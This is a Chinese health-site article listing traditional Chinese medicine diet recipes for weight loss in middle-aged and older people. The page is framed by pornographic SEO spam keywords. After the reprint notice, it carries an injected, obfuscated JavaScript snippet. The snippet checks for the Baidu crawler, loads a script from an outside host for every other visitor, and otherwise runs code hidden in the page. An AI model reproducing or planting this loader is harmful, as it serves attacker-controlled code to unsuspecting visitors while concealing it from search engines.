久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 中醫(yī)減肥 > 正文

適合中老年減肥的中醫(yī)食方

2017-03-08 12:22:29  來源:360常識網(wǎng)   熱度:
導語:中醫(yī)認為肥胖的病因多為痰濕所聚,氣虛所造成。有“肥人多痰”、“肥人多氣虛”之說,因此中醫(yī)飲食減肥多從健脾益氣,化痰除濕入手,根據(jù)不同的體質合理用膳。

減肥的方法有很多,但是要根據(jù)自己的身體情況來就進行,利用食療的方法是對于中老年人來說是健康可行的。來看看下文的解讀。

適合中老年減肥的中醫(yī)食方

1.健脾利濕

苡仁赤豆湯:苡仁30克,赤小豆30克,紅棗5個。先將孩仁、赤小豆洗凈,加水燉至七成熟,再加紅棗繼續(xù)燉至酥爛。

荷葉粥:鮮荷葉1張,粳米100克。將荷葉切絲,加水煎煮,去渣取液備用。另將米洗凈加入荷葉煎汁及水煮成粥食用。

石葦茶:石葦6克,綠茶l克。石葦洗凈加水煮沸,用石葦連同沸水沖泡茶葉,加蓋,三分鐘后可飲。

蓮藕炒綠豆芽:綠豆芽150克,蓮藕100克,鮮荷葉200克。將荷葉煎汁,濃縮為50毫升備用,再將鮮藕切絲,與綠豆芽煽炒,至六成熟,加鹽、味精適量,并加入荷葉淀粉汁至湯汁明亮后出鍋即可。

涼拌馬齒莧:馬齒莧洗凈用開水焯后,去澀水,將菜放入盤中,加姜末、蒜泥、醬油、醋、鹽、味精、香油拌勻食。

2.宣肺化痰

蘿卜杏肺湯:蘿卜160克,苦杏仁5克,豬肺l00克。三物同放鍋內燉至爛熟,調味服食。

蔥頭爆羊肉:羊肉200克,蔥頭100克。素油50克,加花椒,辣椒少許,炸焦后撈出,放入羊肉絲、姜絲、蔥頭絲,急火爆炒,加鹽、味精、醋、黃酒適量,熟后出鍋。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲黄色一区二区 | 久久成人18免费网站 | h在线看 | 国产一区二区三区在线免费观看 | 国产欧美日本 | 91麻豆精品国产91久久久更新资源速度超快 | 91免费版在线观看 | 色伊人网| 精品一区二区三区免费 | 色婷婷综合在线视频 | 黄桃av| 五月婷婷激情 | 免费av一区二区三区 | 黄a一级 | 日韩一区二区三区在线视频 | 狠狠躁夜夜躁人人爽天天高潮 | 黄网址在线观看 | 亚洲无吗电影 | 天天操网| 蜜桃视频在线播放 | 天天操天天干天天做 | 激情久久av一区av二区av三区 | 日韩三级在线免费 | 日韩激情一区二区 | 暖暖视频日韩欧美在线观看 | 欧美高清一区 | 日本午夜精品 | 中文字幕不卡在线 | 一本色道久久综合亚洲精品按摩 | 成人精品在线视频 | 黄色网址av | 激情久久久 | 91久久精品国产91久久性色tv | 国产福利一区视频 | 欧美一区二区视频 | 日本a视频| 国产日本欧美在线 | 亚洲国产成人av | 国产一区二区视频在线观看 | 欧美视频区 | 色老头在线观看 |